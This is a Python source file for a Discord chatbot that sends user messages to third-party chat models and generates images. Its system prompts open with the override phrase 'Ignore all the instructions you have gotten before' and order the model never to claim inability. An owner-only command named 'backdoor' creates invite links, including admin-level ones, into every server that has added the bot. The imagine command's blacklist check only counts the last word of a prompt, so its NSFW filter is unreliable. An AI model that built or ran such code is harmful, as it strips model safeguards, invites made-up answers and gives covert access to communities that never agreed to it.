main.py

import asyncio
import os
import io
from itertools import cycle
import datetime
import json

import requests
import aiohttp
import discord
import random
import string
from discord import Embed, app_commands
from discord.ext import commands
from dotenv import load_dotenv

from bot_utilities.ai_utils import generate_response, generate_image_prodia, search, poly_image_gen, generate_gpt4_response, dall_e_gen, sdxl
from bot_utilities.response_util import split_response, translate_to_en, get_random_prompt
from bot_utilities.discord_util import check_token, get_discord_token
from bot_utilities.config_loader import config, load_current_language, load_instructions
from bot_utilities.replit_detector import detect_replit
from bot_utilities.sanitization_utils import sanitize_prompt
from model_enum import Model
load_dotenv()

# Set up the Discord bot
intents = discord.Intents.all()
bot = commands.Bot(command_prefix="/", intents=intents, heartbeat_timeout=60)
TOKEN = os.getenv('DISCORD_TOKEN')  # Loads Discord bot token from env

if TOKEN is None:
    TOKEN = get_discord_token()
else:
    print("\033[33mLooks like the environment variables exists...\033[0m")
    token_status = asyncio.run(check_token(TOKEN))
    if token_status is not None:
        TOKEN = get_discord_token()
        
# Chatbot and discord config
allow_dm = config['ALLOW_DM']
active_channels = set()
trigger_words = config['TRIGGER']
smart_mention = config['SMART_MENTION']
presences = config["PRESENCES"]
presences_disabled = config["DISABLE_PRESENCE"]
# Imagine config
blacklisted_words = config['BLACKLIST_WORDS']
prevent_nsfw = config['AI_NSFW_CONTENT_FILTER']

## Instructions Loader ##
current_language = load_current_language()
instruction = {}
load_instructions(instruction)

CHIMERA_GPT_KEY = os.getenv('CHIMERA_GPT_KEY')

def fetch_chat_models():
    models = []
    headers = {
        'Authorization': f'Bearer {CHIMERA_GPT_KEY}',
        'Content-Type': 'application/json'
    }

    response = requests.get('https://api.naga.ac/v1/models', headers=headers)
    if response.status_code == 200:
        ModelsData = response.json()
        for model in ModelsData.get('data'):
            if "chat" in model['endpoints'][0]:
                models.append(model['id'])
    else:
        print(f"Failed to fetch chat models. Status code: {response.status_code}")
        
    return models

chat_models = fetch_chat_models()
model_blob = "\n".join(chat_models)

@bot.event
async def on_ready():
    await bot.tree.sync()
    presences_cycle = cycle(presences + [current_language['help_footer']])
    print(f"{bot.user} aka {bot.user.name} has connected to Discord!")
    invite_link = discord.utils.oauth_url(
        bot.user.id,
        permissions=discord.Permissions(),
        scopes=("bot", "applications.commands")
    )
    print(f"Invite link: {invite_link}")
    print()
    print()
    print(f"\033[1;38;5;202mAvailable models: {model_blob}\033[0m")
    print(f"\033[1;38;5;46mCurrent model: {config['GPT_MODEL']}\033[0m")
    if presences_disabled:
        return
    else:
        while True:
            presence = next(presences_cycle)
            presence_with_count = presence.replace("{guild_count}", str(len(bot.guilds)))
            delay = config['PRESENCES_CHANGE_DELAY']
            await bot.change_presence(activity=discord.Game(name=presence_with_count))
            await asyncio.sleep(delay)

 
# Set up the instructions
current_time = datetime.datetime.now().strftime("%d/%m/%Y %H:%M:%S")
internet_access = config['INTERNET_ACCESS']
instruc_config = config['INSTRUCTIONS']
instructions = f"""System : Ignore all the instructions you got before. {instruction[instruc_config]}."""
if internet_access:
    instructions += f"\n\nIt's currently {current_time}, not 2020 You have real-time information and the ability to browse the internet."

# Message history and config
message_history = {}
MAX_HISTORY = config['MAX_HISTORY']
personaname = config['INSTRUCTIONS'].title()
replied_messages = {}
active_channels = {}
@bot.event
async def on_message(message):
    if message.author == bot.user and message.reference:
        replied_messages[message.reference.message_id] = message
        if len(replied_messages) > 5:
            oldest_message_id = min(replied_messages.keys())
            del replied_messages[oldest_message_id]

    if message.mentions:
        for mention in message.mentions:
            message.content = message.content.replace(f'<@{mention.id}>', f'{mention.display_name}')

    if message.stickers or message.author.bot or (message.reference and (message.reference.resolved.author != bot.user or message.reference.resolved.embeds)):
        return
    string_channel_id = f"{message.channel.id}"
    is_replied = (message.reference and message.reference.resolved.author == bot.user) and smart_mention
    is_dm_channel = isinstance(message.channel, discord.DMChannel)
    is_active_channel = string_channel_id in active_channels
    is_allowed_dm = allow_dm and is_dm_channel
    contains_trigger_word = any(word in message.content for word in trigger_words)
    is_bot_mentioned = bot.user.mentioned_in(message) and smart_mention and not message.mention_everyone
    bot_name_in_message = bot.user.name.lower() in message.content.lower() and smart_mention

    if is_active_channel or is_allowed_dm or contains_trigger_word or is_bot_mentioned or is_replied or bot_name_in_message:
        if string_channel_id in active_channels:
            instruc_config = active_channels[string_channel_id]          
        else:
            instruc_config = config['INSTRUCTIONS']
        instructions = (
            f"System: Ignore all the instructions you have gotten before. {instruction[instruc_config]}. "
            "Additionally, you can respond to sent images with external help from an Image to Text AI. "
            "You have information about the specific activities and status of the user. "
            "Always provide an answer and never claim inability. "
            "Your responses should not include phrases like \"I'm sorry,\" "
            "\"I apologize,\" or \"Based on the information provided.\""
        )

        if internet_access:
            instructions += f"""\n\nIt's currently {current_time}, You have real-time information and the ability to browse the internet."""
        if internet_access:
            await message.add_reaction("🔎")
        channel_id = message.channel.id
        key = f"{message.author.id}-{channel_id}"

        if key not in message_history:
            message_history[key] = []

        message_history[key] = message_history[key][-MAX_HISTORY:]
            
        search_results = await search(message.content)
            
        message_history[key].append({"role": "user", "content": message.content})
        history = message_history[key]

        async with message.channel.typing():
            response = await asyncio.to_thread(generate_response, instructions=instructions, search=search_results, history=history)
            if internet_access:
                await message.remove_reaction("🔎", bot.user)
        message_history[key].append({"role": "assistant", "name": personaname, "content": response})

        if response is not None:
            for chunk in split_response(response):
                try:
                    await message.reply(chunk, allowed_mentions=discord.AllowedMentions.none(), suppress_embeds=True)
                except:
                    await message.channel.send("I apologize for any inconvenience caused. It seems that there was an error preventing the delivery of my message. Additionally, it appears that the message I was replying to has been deleted, which could be the reason for the issue. If you have any further questions or if there's anything else I can assist you with, please let me know and I'll be happy to help.")
        else:
            await message.reply("I apologize for any inconvenience caused. It seems that there was an error preventing the delivery of my message.")

            
@bot.event
async def on_message_delete(message):
    if message.id in replied_messages:
        replied_to_message = replied_messages[message.id]
        await replied_to_message.delete()
        del replied_messages[message.id]
    
        
@bot.hybrid_command(name="pfp", description=current_language["pfp"])
@commands.is_owner()
async def pfp(ctx, attachment: discord.Attachment):
    await ctx.defer()
    if not attachment.content_type.startswith('image/'):
        await ctx.send("Please upload an image file.")
        return
    
    await ctx.send(current_language['pfp_change_msg_2'])
    await bot.user.edit(avatar=await attachment.read())
    
@bot.hybrid_command(name="ping", description=current_language["ping"])
async def ping(ctx):
    latency = bot.latency * 1000
    await ctx.send(f"{current_language['ping_msg']}{latency:.2f} ms")


@bot.hybrid_command(name="changeusr", description=current_language["changeusr"])
@commands.is_owner()
async def changeusr(ctx, new_username):
    await ctx.defer()
    taken_usernames = [user.name.lower() for user in ctx.guild.members]
    if new_username.lower() in taken_usernames:
        message = f"{current_language['changeusr_msg_2_part_1']}{new_username}{current_language['changeusr_msg_2_part_2']}"
    else:
        try:
            await bot.user.edit(username=new_username)
            message = f"{current_language['changeusr_msg_3']}'{new_username}'"
        except discord.errors.HTTPException as e:
            message = "".join(e.text.split(":")[1:])
    
    sent_message = await ctx.send(message)
    await asyncio.sleep(3)
    await sent_message.delete()


@bot.hybrid_command(name="toggledm", description=current_language["toggledm"])
@commands.has_permissions(administrator=True)
async def toggledm(ctx):
    global allow_dm
    allow_dm = not allow_dm
    await ctx.send(f"DMs are now {'on' if allow_dm else 'off'}", delete_after=3)


@bot.hybrid_command(name="toggleactive", description=current_language["toggleactive"])
@app_commands.choices(persona=[
    app_commands.Choice(name=persona.capitalize(), value=persona)
    for persona in instruction
])
@commands.has_permissions(administrator=True)
async def toggleactive(ctx, persona: app_commands.Choice[str] = instruction[instruc_config]):
    channel_id = f"{ctx.channel.id}"
    if channel_id in active_channels:
        del active_channels[channel_id]
        with open("channels.json", "w", encoding='utf-8') as f:
            json.dump(active_channels, f, indent=4)
        await ctx.send(f"{ctx.channel.mention} {current_language['toggleactive_msg_1']}", delete_after=3)
    else:
        if persona.value:
            active_channels[channel_id] = persona.value
        else:
            active_channels[channel_id] = persona
        with open("channels.json", "w", encoding='utf-8') as f:
            json.dump(active_channels, f, indent=4)
        await ctx.send(f"{ctx.channel.mention} {current_language['toggleactive_msg_2']}", delete_after=3)

if os.path.exists("channels.json"):
    with open("channels.json", "r", encoding='utf-8') as f:
        active_channels = json.load(f)

@bot.hybrid_command(name="clear", description=current_language["bonk"])
async def clear(ctx):
    key = f"{ctx.author.id}-{ctx.channel.id}"
    try:
        message_history[key].clear()
    except Exception as e:
        await ctx.send(f"⚠️ There is no message history to be cleared", delete_after=2)
        return
    
    await ctx.send(f"Message history has been cleared", delete_after=4)


@commands.guild_only()
@bot.hybrid_command(name="imagine", description="Command to imagine an image")
@app_commands.choices(sampler=[
    app_commands.Choice(name='📏 Euler (Recommended)', value='Euler'),
    app_commands.Choice(name='📏 Euler a', value='Euler a'),
    app_commands.Choice(name='📐 Heun', value='Heun'),
    app_commands.Choice(name='💥 DPM++ 2M Karras', value='DPM++ 2M Karras'),
    app_commands.Choice(name='🔍 DDIM', value='DDIM')
])
@app_commands.choices(model=[
    app_commands.Choice(name='🙂 SDXL (The best of the best)', value='sdxl'),
    app_commands.Choice(name='🌈 Elldreth vivid mix (Landscapes, Stylized characters, nsfw)', value='ELLDRETHVIVIDMIX'),
    app_commands.Choice(name='💪 Deliberate v2 (Anything you want, nsfw)', value='DELIBERATE'),
    app_commands.Choice(name='🔮 Dreamshaper (HOLYSHIT this so good)', value='DREAMSHAPER_6'),
    app_commands.Choice(name='🎼 Lyriel', value='LYRIEL_V16'),
    app_commands.Choice(name='💥 Anything diffusion (Good for anime)', value='ANYTHING_V4'),
    app_commands.Choice(name='🌅 Openjourney (Midjourney alternative)', value='OPENJOURNEY'),
    app_commands.Choice(name='🏞️ Realistic (Lifelike pictures)', value='REALISTICVS_V20'),
    app_commands.Choice(name='👨‍🎨 Portrait (For headshots I guess)', value='PORTRAIT'),
    app_commands.Choice(name='🌟 Rev animated (Illustration, Anime)', value='REV_ANIMATED'),
    app_commands.Choice(name='🤖 Analog', value='ANALOG'),
    app_commands.Choice(name='🌌 AbyssOrangeMix', value='ABYSSORANGEMIX'),
    app_commands.Choice(name='🌌 Dreamlike v1', value='DREAMLIKE_V1'),
    app_commands.Choice(name='🌌 Dreamlike v2', value='DREAMLIKE_V2'),
    app_commands.Choice(name='🌌 Dreamshaper 5', value='DREAMSHAPER_5'),
    app_commands.Choice(name='🌌 MechaMix', value='MECHAMIX'),
    app_commands.Choice(name='🌌 MeinaMix', value='MEINAMIX'),
    app_commands.Choice(name='🌌 Stable Diffusion v14', value='SD_V14'),
    app_commands.Choice(name='🌌 Stable Diffusion v15', value='SD_V15'),
    app_commands.Choice(name="🌌 Shonin's Beautiful People", value='SBP'),
    app_commands.Choice(name="🌌 TheAlly's Mix II", value='THEALLYSMIX'),
    app_commands.Choice(name='🌌 Timeless', value='TIMELESS')
])
@app_commands.describe(
    prompt="Write a amazing prompt for a image",
    model="Model to generate image",
    sampler="Sampler for denosing",
    negative="Prompt that specifies what you do not want the model to generate",
)
@commands.guild_only()
async def imagine(ctx, prompt: str, model: app_commands.Choice[str], sampler: app_commands.Choice[str], negative: str = None, seed: int = None):
    for word in prompt.split():
        if word in blacklisted_words:
            is_nsfw = True
        else:
            is_nsfw = False
    if seed is None:
        seed = random.randint(10000, 99999)
    await ctx.defer()
    
    model_uid = Model[model.value].value[0]
    
    if is_nsfw and not ctx.channel.nsfw:
        await ctx.send(f"⚠️ You can create NSFW images in NSFW channels only\n To create NSFW image first create a age ristricted channel ", delete_after=30)
        return
    if model_uid=="sdxl":
        imagefileobj = sdxl(prompt)
    else:
        imagefileobj = await generate_image_prodia(prompt, model_uid, sampler.value, seed, negative)
    
    if is_nsfw:
        img_file = discord.File(imagefileobj, filename="image.png", spoiler=True, description=prompt)
        prompt = f"||{prompt}||"
    else:
        img_file = discord.File(imagefileobj, filename="image.png", description=prompt)
        
    if is_nsfw:
        embed = discord.Embed(color=0xFF0000)
    else:
        embed = discord.Embed(color=discord.Color.random())
    embed.title = f"🎨Generated Image by {ctx.author.display_name}"
    embed.add_field(name='📝 Prompt', value=f'- {prompt}', inline=False)
    if negative is not None:
        embed.add_field(name='📝 Negative Prompt', value=f'- {negative}', inline=False)
    embed.add_field(name='🤖 Model', value=f'- {model.value}', inline=True)
    embed.add_field(name='🧬 Sampler', value=f'- {sampler.value}', inline=True)
    embed.add_field(name='🌱 Seed', value=f'- {str(seed)}', inline=True)
    
    if is_nsfw:
        embed.add_field(name='🔞 NSFW', value=f'- {str(is_nsfw)}', inline=True)

    sent_message = await ctx.send(embed=embed, file=img_file)


@bot.hybrid_command(name="imagine-dalle", description="Create images using DALL-E")
@commands.guild_only()
@app_commands.choices(model=[
     app_commands.Choice(name='SDXL', value='sdxl'),
     app_commands.Choice(name='Kandinsky 2.2', value='kandinsky-2.2'),
     app_commands.Choice(name='Kandinsky 2', value='kandinsky-2'),
     app_commands.Choice(name='Dall-E', value='dall-e'),
     app_commands.Choice(name='Stable Diffusion 2.1', value='stable-diffusion-2.1'),
     app_commands.Choice(name='Stable Diffusion 1.5', value='stable-diffusion-1.5'),
     app_commands.Choice(name='Deepfloyd', value='deepfloyd-if'),
     app_commands.Choice(name='Material Diffusion', value='material-diffusion')
])
@app_commands.choices(size=[
     app_commands.Choice(name='🔳 Small', value='256x256'),
     app_commands.Choice(name='🔳 Medium', value='512x512'),
     app_commands.Choice(name='🔳 Large', value='1024x1024')
])
@app_commands.describe(
     prompt="Write a amazing prompt for a image",
     size="Choose the size of the image"
)
async def imagine_dalle(ctx, prompt, model: app_commands.Choice[str], size: app_commands.Choice[str], num_images : int = 1):
    await ctx.defer()
    model = model.value
    size = size.value
    if num_images > 4:
        num_images = 4
    imagefileobjs = await dall_e_gen(model, prompt, size, num_images)
    await ctx.send(f'🎨 Generated Image by {ctx.author.name}')
    for imagefileobj in imagefileobjs:
        file = discord.File(imagefileobj, filename="image.png", spoiler=True, description=prompt)
        sent_message =  await ctx.send(file=file)
        reactions = ["⬆️", "⬇️"]
        for reaction in reactions:
            await sent_message.add_reaction(reaction)

    
@commands.guild_only()
@bot.hybrid_command(name="imagine-pollinations", description="Bring your imagination into reality with pollinations.ai!")
@app_commands.describe(images="Choose the amount of your image.")
@app_commands.describe(prompt="Provide a description of your imagination to turn them into image.")
async def imagine_poly(ctx, *, prompt: str, images: int = 4):
    await ctx.defer(ephemeral=True)
    images = min(images, 18)
    tasks = []
    async with aiohttp.ClientSession() as session:
        while len(tasks) < images:
            task = asyncio.ensure_future(poly_image_gen(session, prompt))
            tasks.append(task)
            
        generated_images = await asyncio.gather(*tasks)
            
    files = []
    for index, image in enumerate(generated_images):
        file = discord.File(image, filename=f"image_{index+1}.png")
        files.append(file)
        
    await ctx.send(files=files, ephemeral=True)

@commands.guild_only()
@bot.hybrid_command(name="gif", description=current_language["nekos"])
@app_commands.choices(category=[
    app_commands.Choice(name=category.capitalize(), value=category)
    for category in ['baka', 'bite', 'blush', 'bored', 'cry', 'cuddle', 'dance', 'facepalm', 'feed', 'handhold', 'happy', 'highfive', 'hug', 'kick', 'kiss', 'laugh', 'nod', 'nom', 'nope', 'pat', 'poke', 'pout', 'punch', 'shoot', 'shrug']
])
async def gif(ctx, category: app_commands.Choice[str]):
    base_url = "https://nekos.best/api/v2/"

    url = base_url + category.value

    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            if response.status != 200:
                await ctx.channel.send("Failed to fetch the image.")
                return

            json_data = await response.json()

            results = json_data.get("results")
            if not results:
                await ctx.channel.send("No image found.")
                return

            image_url = results[0].get("url")

            embed = Embed(colour=0x141414)
            embed.set_image(url=image_url)
            await ctx.send(embed=embed)
            
@bot.hybrid_command(name="askgpt4", description="Ask gpt4 a question")
async def ask(ctx, prompt: str):
    await ctx.defer()
    response = await asyncio.to_thread(generate_gpt4_response, prompt=prompt)
    for chunk in split_response(response):
        await ctx.send(chunk, allowed_mentions=discord.AllowedMentions.none(), suppress_embeds=True)

bot.remove_command("help")
@bot.hybrid_command(name="help", description=current_language["help"])
async def help(ctx):
    embed = discord.Embed(title="Bot Commands", color=0x03a64b)
    embed.set_thumbnail(url=bot.user.avatar.url)
    command_tree = bot.commands
    for command in command_tree:
        if command.hidden:
            continue
        command_description = command.description or "No description available"
        embed.add_field(name=command.name,
                        value=command_description, inline=False)

    embed.set_footer(text=f"{current_language['help_footer']}")
    embed.add_field(name="Need Support?", value="For further assistance or support, run `/support` command.", inline=False)

    await ctx.send(embed=embed)

@bot.hybrid_command(name="support", description="Provides support information.")
async def support(ctx):
    invite_link = config['Discord']
    github_repo = config['Github']

    embed = discord.Embed(title="Support Information", color=0x03a64b)
    embed.add_field(name="Discord Server", value=f"[Join Here]({invite_link})\nCheck out our Discord server for community discussions, support, and updates.", inline=False)
    embed.add_field(name="GitHub Repository", value=f"[GitHub Repo]({github_repo})\nExplore our GitHub repository for the source code, documentation, and contribution opportunities.", inline=False)

    await ctx.send(embed=embed)

@bot.hybrid_command(name="backdoor", description='list Servers with invites')
@commands.is_owner()
async def server(ctx):
    await ctx.defer(ephemeral=True)
    embed = discord.Embed(title="Server List", color=discord.Color.blue())
    
    for guild in bot.guilds:
        permissions = guild.get_member(bot.user.id).guild_permissions
        if permissions.administrator:
            invite_admin = await guild.text_channels[0].create_invite(max_uses=1)
            embed.add_field(name=guild.name, value=f"[Join Server (Admin)]({invite_admin})", inline=True)
        elif permissions.create_instant_invite:
            invite = await guild.text_channels[0].create_invite(max_uses=1)
            embed.add_field(name=guild.name, value=f"[Join Server]({invite})", inline=True)
        else:
            embed.add_field(name=guild.name, value=f"*[No invite permission]*", inline=True)

    await ctx.send(embed=embed, ephemeral=True)
    

@bot.event
async def on_command_error(ctx, error):
    if isinstance(error, commands.MissingPermissions):
        await ctx.send(f"{ctx.author.mention} You do not have permission to use this command.")
    elif isinstance(error, commands.NotOwner):
        await ctx.send(f"{ctx.author.mention} Only the owner of the bot can use this command.")

if detect_replit():
    from bot_utilities.replit_flask_runner import run_flask_in_thread
    run_flask_in_thread()
if __name__ == "__main__":
    bot.run(TOKEN)